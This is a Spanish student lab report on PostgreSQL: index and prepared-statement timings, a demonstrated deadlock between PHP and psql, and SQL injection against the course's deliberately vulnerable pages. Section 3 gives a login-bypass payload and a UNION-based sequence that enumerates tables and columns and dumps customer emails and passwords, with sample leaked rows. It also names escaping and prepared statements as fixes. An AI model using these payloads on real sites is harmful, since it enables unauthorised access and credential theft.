Práctica 4 SI

Guillermo Julián Moreno Víctor de Juan Sanz

21 de diciembre de 2014

1. Optimización

1.1. Estudio del impacto de un índice

La consulta creada es

```
SELECT count(*) as cc FROM (
        SELECT DISTINCT customerid
        FROM orderdetail JOIN orders using (orderid)
        WHERE
                EXTRACT(year FROM orders.orderdate)::int = 2012 AND
                EXTRACT(month FROM orders.orderdate)::int = 04 AND
                totalamount >= 100 GROUP BY customerid
        )AS foo;
```

Y estos los resultados de ejecutar EXPLAIN sobre la consulta después antes y después de los índices:

```
EXPLAIN SELECT * FROM clientesDistintos;


                                    QUERY PLAN
-------------------------------------------------------------------------------------
 Aggregate  (cost=25017.60..25017.61 rows=1 width=0)
 ->  HashAggregate  (cost=25017.57..25017.58 rows=1 width=4)
   ->  HashAggregate  (cost=25017.56..25017.57 rows=1 width=4)
     ->  Hash Join  (cost=6686.25..25017.54 rows=9 width=4)
       Hash Cond: (orderdetail.orderid = orders.orderid)
       ->  Seq Scan on orderdetail  (cost=0.00..15321.60 rows=802560 width=4)
       ->  Hash  (cost=6686.23..6686.23 rows=2 width=8)
         ->  Seq Scan on orders  (cost=0.00..6686.23 rows=2 width=8)
           Filter: ((totalamount >= 100::numeric) AND
                   (date_part('year'::text, (orderdate)::timestamp without time zone) =
                           2012::double precision) AND
                   (date_part('month'::text, (orderdate)::timestamp without time zone) =
                           4::double precision))
(9 rows)


CREATE INDEX idx_totalamount ON orders(totalamount);

EXPLAIN SELECT * FROM clientesDistintos;

                                    QUERY PLAN
```

```
------------------------------------------------------------------------------

 Aggregate  (cost=22811.69..22811.70 rows=1 width=0)
 ->  HashAggregate  (cost=22811.67..22811.68 rows=1 width=4)
   ->  HashAggregate  (cost=22811.65..22811.66 rows=1 width=4)
     ->  Hash Join  (cost=4480.34..22811.63 rows=9 width=4)
       Hash Cond: (orderdetail.orderid = orders.orderid)
       ->  Seq Scan on orderdetail  (cost=0.00..15321.60 rows=802560 width=4)
       ->  Hash  (cost=4480.32..4480.32 rows=2 width=8)
         ->  Bitmap Heap Scan on orders  (cost=1126.90..4480.32 rows=2 width=8)
           Recheck Cond: (totalamount >= 100::numeric)
           Filter: ((date_part('year'::text, (orderdate)::timestamp without time zone)
                           = 2012::double precision)
                   AND (date_part('month'::text, (orderdate)::timestamp without time zone)
                           = 4::double precision))
           ->  Bitmap Index Scan on idx_totalamount  (cost=0.00..1126.90 rows=60597 width=0)
             Index Cond: (totalamount >= 100::numeric)
(12 rows)


CREATE INDEX idx_orderdate ON orders(orderdate);
                                    QUERY PLAN
------------------------------------------------------------------------------
Aggregate  (cost=22811.69..22811.70 rows=1 width=0)
 ->  HashAggregate  (cost=22811.67..22811.68 rows=1 width=4)
   ->  HashAggregate  (cost=22811.65..22811.66 rows=1 width=4)
     ->  Hash Join  (cost=4480.34..22811.63 rows=9 width=4)
       Hash Cond: (orderdetail.orderid = orders.orderid)
       ->  Seq Scan on orderdetail  (cost=0.00..15321.60 rows=802560 width=4)
       ->  Hash  (cost=4480.32..4480.32 rows=2 width=8)
         ->  Bitmap Heap Scan on orders  (cost=1126.90..4480.32 rows=2 width=8)
           Recheck Cond: (totalamount >= 100::numeric)
           Filter: ((date_part('year'::text, (orderdate)::timestamp without time zone)
                           = 2012::double precision)
                   AND (date_part('month'::text, (orderdate)::timestamp without time zone)
                           = 4::double precision))
           ->  Bitmap Index Scan on idx_totalamount
              (cost=0.00..1126.90 rows=60597 width=0)
             Index Cond: (totalamount >= 100::numeric)
(12 rows)
```

Podemos comprobar por los tiempos, que una vez agregado el índice en *orders(TOTALAMOUNT)*, el tiempo de ejecución previsto ser reduce de *25017.60..25017.61* a *22811.69..22811.70*. En cambio, el otro posible índice que nos podemos plantear (porque es al otro dato al que se accede) es *orders(ORDERDATE)*, pero al añadir un índice a esta columna, el tiempo previsto no se ve modificado (como podemos comprobar en el tercer *EXPLAIN*).

1.2. Estudio del impacto de preparar sentencias SQL

Los datos se han obtenido utilizando el script *listaClientesMes.sh*.

```
no INDEX
        prepare on: 84160.36 ms
```

```
        prepare off: 84827.76 ms

INDEX
        prepare on: 4141.79 ms
        prepare off: 4782.57 ms
```

Se observa una ligera mejora al realizar las consultas con prepare. Además del tiempo de ejecución (que tampoco es una diferencia sustaucial) la gran ventaja es que es más seguro porque protege de ataques SQL Injection de nivel 1.

1.3. Estudio del impacto de cambiar la forma de realizar una consulta y estudio del impacto de la generación de estadísticas

La generación de los datos necesarios para este apartado, los hemos generado con el script *1D.sh* que genera un fichero *countStatus.sql* con las sentencias y sus planes de ejecución, antes y después de añadir los índices.

El resumen de los datos (extraídos de *countStatus.sql*) es el siguiente:

	Sin índice	Con índice	POST-ANALYZE
Consulta 1	3961.65..4490.81	1498.79..2027.96	2331.34..2860.50
Consulta 2	4537.41..4539.91	2074.55..2077.05	3126.46..3128.96
Consulta 3	0.00..4640.83	0.00..2177.98	0.00..3186.01

C) Comprobamos que la última consulta es la mejor forma de realizar la query, ya que el mínimo es mucho menor y el máximo un poco superior. Observamos también que la primera forma de realizar la consulta es mejor que la segunda. De esto extraemos la conclusión de que es importante la manera de ejecutar la consulta y merece la pena estudiar las posibilidades, aunque nos parezcan menos intuitivas (como es el caso de la tercera).

D) Podemos comprobar que el índice reduce los tiempos y que el ANALYZE los aumenta, aunque este aumento en realidad es una precisión más real de la estimación del tiempo. Tendríamos que contar la reducción de tiempo a la tercera columna y no a la segunda ya que los datos son más reales.

2. Transacciones y *deadlocks*

2.1. Transacciones

El *dump* ya viene sin las restricciones de *ON DELETE CASCADE*. Aun así, se ha incluido en el código (comentado) las sentencias necesarias para eliminar estas restricciones.

El fichero *borraClienteMal.php* tiene un campo en el formulario para ejecutar las consultas con error o sin error.

La página generada es la impresión de los resultados de las consultas, paso tras paso como se pedía.

Si se quiere realizar el commit intermedio, se comprueba que el borrado de los registros de *orderdetail* se ha producido, aunque se haya hecho un *rollback* (la última sentencia devuelve tabla vacía).

2.2. Estudio de bloqueos y *deadlocks*

En el *trigger* de *updPromo.sql* ponemos una sentencia *pg_sleep* después del *UPDATE*, de tal forma que aunque se haya ejecutado el cambio no acabe la consulta.

Modificamos *borraClienteMal.php* para añadirle un parámetro *GET* - `block`, de tal forma que podamos activar a voluntad un *sleep* en PHP sin tener que cambiar ficheros.

En el *script deadlockTest.sh* ejecutamos los comandos necesarios para demostrar el interbloqueo. Primero se llama al PHP con los parámetros necesarios para borrar un cliente (el 693), que tiene varios carritos con

estado *NULL*, usando un objeto PDO y además parándose después de haber borrado los carritos (sentencia `DELETE FROM orders ...`) y antes de borrar el cliente de la base de datos.

Justo después, ejecutamos a través de *psql* la siguiente consulta:

```
UPDATE customers SET promo = 20 WHERE customerid = 693;
```

Esta sentencia disparará el *trigger* creado en *updPromo.sql*, y se producirá un interbloqueo.

Al haber iniciado en PHP una transacción en la que se ha hecho un borrado sobre la tabla *orders*, automáticamente se establece un `RowExclusiveLock` sobre las filas afectadas. Después, se ejecuta la sentencia `UPDATE customers ...`, que también adquiere un bloqueo exclusivo sobre la fila del cliente con id 693.

Cuando se ejecuta el *trigger*, éste trata de cambiar los registros borrados de *orders*, que están bloqueados por la transacción del PHP, luego se queda esperando hasta que ese bloqueo se levante.

En ese momento, este es el estado de los bloqueos de la base de datos, donde los *pid* se han cambiado para ser más legibles. La transacción 11426 es la que está ejecutando PHP, y la 11427 la que está ejecutando *psql* desde otra sesión. Se puede ver cómo la sesicón de *psql* está esperando, tratando de obtener un `ShareLock` sobre la transacción de PHP para poder escribir en *orders* (el bloqueoestá registrado pero no adquirido ya que el campo `granted` tiene valor `f`, falso).

```
Existing locks:
   locktype    |    relation    |       mode       |  tid  | vtid  |  pid  | granted
---------------+----------------+------------------+-------+-------+-------+---------
 relation      | orders_pkey    | AccessShareLock  |       | 2/377 | PHP   | t
 relation      | orders_pkey    | RowExclusiveLock |       | 2/377 | PHP   | t
 relation      | orders         | AccessShareLock  |       | 2/377 | PHP   | t
 relation      | orders         | RowShareLock     |       | 2/377 | PHP   | t
 relation      | orders         | RowExclusiveLock |       | 2/377 | PHP   | t
 relation      | orderdetail    | RowShareLock     |       | 2/377 | PHP   | t
 relation      | orderdetail    | RowExclusiveLock |       | 2/377 | PHP   | t
 virtualxid    |                | ExclusiveLock    |       | 2/377 | PHP   | t
 relation      | orders_pkey    | RowExclusiveLock |       | 3/4   | PSQL  | t
 relation      | orders         | RowExclusiveLock |       | 3/4   | PSQL  | t
 relation      | customers_pkey | RowExclusiveLock |       | 3/4   | PSQL  | t
 relation      | customers      | RowExclusiveLock |       | 3/4   | PSQL  | t
 virtualxid    |                | ExclusiveLock    |       | 3/4   | PSQL  | t
 transactionid |                | ExclusiveLock    | 11426 | 2/377 | PHP   | t
 transactionid |                | ExclusiveLock    | 11427 | 3/4   | PSQL  | t
 tuple         | orders         | ExclusiveLock    |       | 3/4   | PSQL  | t
 transactionid |                | ShareLock        | 11426 | 3/4   | PSQL  | f <-
(17 rows)


Locked queries:
                  query                   |        state        | waiting |  pid
------------------------------------------+---------------------+---------+-------
 DELETE FROM orders WHERE customerid = $1; | idle in transaction | f       | PHP
 UPDATE customers                         +| active              | t       | PSQL
         SET promo = 20                   +|                     |         |
         WHERE customerid = 693;           |                     |         |
(2 rows)
```

Pasados unos segundos, acaba el *sleep* de PHP y continúa su transacción. La siguiente consulta es un borrado en la tabla *customers*, que está bloqueada por PSQL. Este es el estado de bloqueos en la base de datos:

```
Existing locks:
   locktype    |    relation    |        mode         |  tid  | vtid  |  pid  | granted
---------------+----------------+---------------------+-------+-------+-------+---------
 relation      | customers_pkey | RowExclusiveLock    |       | 2/377 | PHP   | t
 relation      | customers      | RowExclusiveLock    |       | 2/377 | PHP   | t
 relation      | orders_pkey    | AccessShareLock     |       | 2/377 | PHP   | t
 relation      | orders_pkey    | RowExclusiveLock    |       | 2/377 | PHP   | t
 relation      | orders         | AccessShareLock     |       | 2/377 | PHP   | t
 relation      | orders         | RowShareLock        |       | 2/377 | PHP   | t
 relation      | orders         | RowExclusiveLock    |       | 2/377 | PHP   | t
 relation      | orderdetail    | RowShareLock        |       | 2/377 | PHP   | t
 relation      | orderdetail    | RowExclusiveLock    |       | 2/377 | PHP   | t
 virtualxid    |                | ExclusiveLock       |       | 2/377 | PHP   | t
 relation      | orders_pkey    | RowExclusiveLock    |       | 3/4   | PSQL  | t
 relation      | orders         | RowExclusiveLock    |       | 3/4   | PSQL  | t
 relation      | customers_pkey | RowExclusiveLock    |       | 3/4   | PSQL  | t
 relation      | customers      | RowExclusiveLock    |       | 3/4   | PSQL  | t
 virtualxid    |                | ExclusiveLock       |       | 3/4   | PSQL  | t
 transactionid |                | ExclusiveLock       | 11426 | 2/377 | PHP   | t
 transactionid |                | ExclusiveLock       | 11427 | 3/4   | PSQL  | t
 tuple         | orders         | ExclusiveLock       |       | 3/4   | PSQL  | t
 transactionid |                | ShareLock           | 11426 | 3/4   | PSQL  | f <-
 tuple         | customers      | AccessExclusiveLock |       | 2/377 | PHP   | t
 transactionid |                | ShareLock           | 11427 | 2/377 | PHP   | f <-
(21 rows)


Locked queries:
                    query                     | state  | waiting |  pid
----------------------------------------------+--------+---------+-------
 DELETE FROM customers WHERE customerid = $1; | active | t       | PHP
 UPDATE customers                            +| active | t       | PSQL
         SET promo = 20                      +|        |         |
         WHERE customerid = 693;              |        |         |
(2 rows)
```

Ambas consultas están esperando, ya que ahora PHP está tratando de obtener un `ShareLock` sobre la transacción del PSQL, que a su vez está esperando a que la transacción de PHP acabe. Se ha producido un interbloqueo, y de hecho PostgreSQL lo detecta, tal y como se puede ver en el siguiente extracto de su registro:

```
2014-12-20 13:13:17 CET LOG:  process PHP detected deadlock while waiting
 for ShareLock on transaction 11427 after 5000.439 ms
2014-12-20 13:13:17 CET STATEMENT:  DELETE FROM customers WHERE customerid = $1;
2014-12-20 13:13:17 CET ERROR:  deadlock detected
2014-12-20 13:13:17 CET DETAIL:  Process PHP waits for ShareLock on
  transaction 11427; blocked by process PSQL.
    Process PSQL waits for ShareLock on transaction 11426; blocked by process PHP.
    Process PHP: DELETE FROM customers WHERE customerid = $1;
    Process PSQL: UPDATE customers
      SET promo = 20
      WHERE customerid = 693;
```

En este momento, los cambios de ninguna de las dos sesiones es visible. De hecho, la salida de `SELECT customerId, promo FROM customers WHERE customerId = 693;` es la siguiente

```
Showing customerid[693] status:
 customerid | promo
------------+-------
        693 |
(1 row)
```

Para evitar más problemas, PostgreSQL devuelve un error en la consulta en la que se ha generado el interbloqueo, la de PHP. Por lo tanto, se realiza un *rollback*, se libera el bloqueo sobre la tabla *orders* y el *trigger* continúa su ejecución, de tal forma que el registro de *customers* no se habrá borrado pero sí habrá cambiado su columna *promo*.

```
 customerid | promo
------------+-------
        693 |    20
(1 row)
```

2.2.1. Cómo evitar y afrontar problemas de interbloqueos

Se puede tratar de reducir las probabilidad de que ocurran interbloqueos adquiriendo los bloqueos al principio de la transacción (aislamiento de grado 3) y no entre medias, de forma atómica, de tal forma que si una transacción no va a poder tomar exclusividad sobre una tabla o un registro lo detecte antes de tomar otro bloqueo que pueda generar problemas.

También se puede confiar en la gestión de interbloqueos de PostgreSQL y simplemente preparar el código PHP para reintentar en caso de error, ya que es poco probable que se reproduzca un interbloqueo si las consultas son medianamente rápidas.

3. Seguridad

3.1. Acceso indebido a un sitio web

Para acceder al sistema como el usuario *gatsby*, simplement introducimos ese nombre en el campo de usuario y, en contraseña, introducimos `' OR 1=1; --`. Aprovechamos así el fallo de programación en *xLoginInjection.php*, de tal forma que el código realizará la consulta siguiente

```
SELECT * FROM customers WHERE username='gatsby' AND password='' OR 1 = 1; --
```

Es decir, siempre será válida y sacará al menos un registro. El código PHP dará por válido el *login* y entraremos sin saber la contraseña.

La misma técnica se puede usar para entrar sin saber el nombre de usuario: al usar la cláusula `OR`, no es siquiera necesario que el nombre de usuario esté en la base de datos, ya que `1=1` es una condición que siempre es verdadera para cualquier registro.

Para evitar este tipo de ataques, se debe escapar las cadenas que vengan desde el cliente con `pg_escape_string` o bien usar la clase *PDO* con `prepare`, que automáticamente realiza el escape necesario. Así impediremos que en las cadenas que introduce el usuario haya caracteres que puedan modificar el comportamiento de nuestra consulta SQL.

3.2. Acceso indebido a información

Partiendo de la base de inyecciones SQL del apartado anterior, hemos ido realizando el siguiente proceso, introduciendo varias cadenas en el campo de búsqueda de *xSearchInjection.php*

Empezamos con una prueba sencilla: ver que efectivamente el campo de búsqueda es vulnerabble a inyecciones SQL con `2000' OR columna_anio = '2005'`. Los resultados son películas de los años 2000 y 2005, así que efectivamente es vulnerable.

El siguiente paso es ver qué tablas existen en la base de datos, y para ello hay que acceder a la tabla `pg_class`. Por simplificar, no sacamos todas las relaciones sino sólo las claves primarias. Esto nos da una pista rápida sobre las tablas importantes y nos permite evitar el paso adicional de buscar el *oid* del esquema público de PostgreSQL.

Usamos para ello el siguiente comando.

```
2000' AND 0=1 UNION SELECT relname AS movietitle FROM pg_class
        WHERE relname  LIKE '%_pkey';--
```

Añadimos `AND 0 = 1` para evitar que apareciesen resultados de películas, y después usamos el operador `UNION` para concatenar los resultados de la consulta que queremos hacer en realidad. El resultado de esa consulta fue el siguiente:

```
customers_pkey
orders_pkey
imdb_movielanguages_pkey
imdb_actormovies_pkey
products_pkey
imdb_actors_pkey
imdb_directors_pkey
imdb_moviegenres_pkey
imdb_movies_pkey
imdb_moviecountries_pkey
imdb_directormovies_pkey
inventory_pkey
```

Aquí vimos que probablemente la tabla `customers`, asociada a la clave primaria `customers_pkey`, es la que nos interesaba. Confirmamos que esa tabla existía y obtenemos su *oid* con

```
2000' AND 0=1 UNION SELECT oid || ',' || relname AS movietitle
        FROM pg_class WHERE RELNAME='customers';--
```

La salida `30345,customers` nos confirma que la tabla existe y nos da su *oid*, con lo que podemos encontrar sus columnas. Para ello usamos la siguiente cadena

```
2000' AND 0=1 UNION SELECT attname AS movietitle
        FROM pg_attribute WHERE attrelid=30345;--
```

Obtenemos así todas las columnas, y vemos dos que nos interesan: `email` y `password`. El último paso es obtener los correos y contraseñas de todos los clientes de la web:

```
2000' AND 0=1 UNION SELECT email || ',' || password AS movietitle FROM customers;--
```

Los resultados fueron suficientes:

```
aachen.aleppo@mamoot.com,snyder
aaron.ripper@potmail.com,slob
abaci.zibo@potmail.com,ebro
aback.soar@potmail.com,jelly
abacus.argosy@potmail.com,helmut
abaft.viand@potmail.com,pony
abase.jul@kran.com,dioxin
...
```

En cuanto a las preguntas planteadas en el enunciado, de ninguna de las dos formas propuestas se podría resolver el problema: debe ser modificado en el código PHP como explicábamos en el apartado anterior. En cualquiera de los dos casos se podría seguir enviando la cadena de búsqueda que se quisiese usando herramientas especializadas, como los comandos de terminal `curl` o `wget` o la extensión HTTPRequester de Firefox, que permiten realizar peticiones GET o POST con los parámetros que quiera el usuario.